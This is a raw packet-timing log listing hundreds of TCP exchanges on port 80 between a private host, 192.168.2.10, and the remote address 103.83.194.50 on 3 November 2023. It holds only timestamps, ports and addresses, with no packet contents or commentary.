Nov 3, 2023 18:53:43.478944063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.478971004 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479024887 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479036093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479063988 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479085922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479101896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479125977 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479170084 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479176998 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479218960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479232073 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479279995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479281902 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479329109 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479353905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479397058 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479429960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479475021 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479501009 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479584932 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479610920 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479661942 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.479679108 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.479729891 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480245113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480258942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480271101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480283022 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480295897 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480304003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480309010 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480330944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480335951 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480364084 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480386972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480402946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480477095 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480477095 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480536938 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480551004 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480597019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480623960 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480665922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480691910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480736971 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480802059 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480850935 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480876923 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.480918884 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.480979919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481024981 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481062889 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481106997 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481174946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481219053 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481228113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481268883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481282949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481326103 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481352091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481396914 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481422901 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481465101 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481483936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481530905 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481534958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481578112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481589079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481631994 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481646061 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481684923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481709957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481753111 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481772900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481798887 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481817961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481844902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481920958 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.481966972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.481995106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482038975 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482106924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482146025 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482188940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482237101 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482250929 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482295990 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482321024 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482362986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482394934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482444048 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482481956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482580900 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482584953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482628107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482651949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482696056 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482722998 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482767105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482805014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482848883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.482918978 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.482970953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483047962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483088970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483124971 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483170986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483210087 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483257055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483295918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483339071 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483377934 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483422995 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483467102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483513117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483539104 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483583927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483604908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483645916 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483705997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483747005 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483751059 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483793020 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483818054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483863115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483887911 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.483932018 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.483999968 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484054089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484093904 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484173059 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484174967 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484261990 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484268904 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484318018 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484321117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484363079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484389067 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484430075 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484431028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484472990 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484514952 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484555960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484615088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484658003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484678984 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484733105 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484775066 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484829903 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484841108 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484889984 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484915018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484944105 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.484966040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.484986067 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485033035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485059977 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485085011 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485099077 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485114098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485157013 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485167027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485213041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485352993 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485395908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485404015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485443115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485464096 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485488892 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485501051 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485543966 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485553026 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485575914 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485589981 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485625982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485654116 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485697985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485723019 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485764980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485826969 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485898972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485907078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.485960007 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.485982895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486030102 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486076117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486154079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486174107 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486206055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486223936 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486275911 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486300945 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486372948 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486397982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486412048 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486443996 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486495018 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486504078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486565113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486597061 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486613989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486618042 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486666918 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486677885 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486723900 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486726046 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486779928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486807108 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486851931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486876965 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486949921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.486959934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.486990929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487019062 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487072945 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487098932 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487152100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487170935 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487220049 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487245083 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487273932 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487302065 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487324953 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487329006 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487385035 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487396955 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487421036 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487440109 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487477064 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487477064 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487540960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487581015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487628937 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487653971 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487701893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487728119 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487777948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487802029 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487848997 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487874985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487919092 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487945080 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.487986088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.487999916 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488046885 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488073111 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488115072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488152027 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488197088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488223076 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488266945 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488292933 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488342047 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488365889 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488406897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488429070 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488471031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488493919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488535881 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488560915 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488603115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488630056 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488655090 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488694906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488703012 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488712072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488718987 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488733053 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488745928 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488769054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488770008 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488812923 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488841057 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488866091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488886118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488914013 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488918066 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488940954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488955021 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488955021 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488970995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.488981962 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.488996029 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489006996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489027977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489042997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489047050 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489082098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489106894 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489121914 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489160061 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489173889 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489192963 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489217997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489223957 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489258051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489264965 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489312887 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489326000 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489339113 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489341021 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489360094 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489382982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489397049 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489418030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489435911 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489442110 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489454985 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489466906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489484072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489495993 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489515066 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489518881 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489537954 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489554882 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489567995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489573002 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489583015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489598036 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489605904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489624977 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489646912 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489658117 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489670992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489684105 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489700079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489708900 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489723921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489742994 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489768982 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489773035 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489785910 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489799023 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489810944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489830971 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489837885 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489849091 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.489852905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.489880085 CET	80	49711	103.83.194.50	192.168.2.10
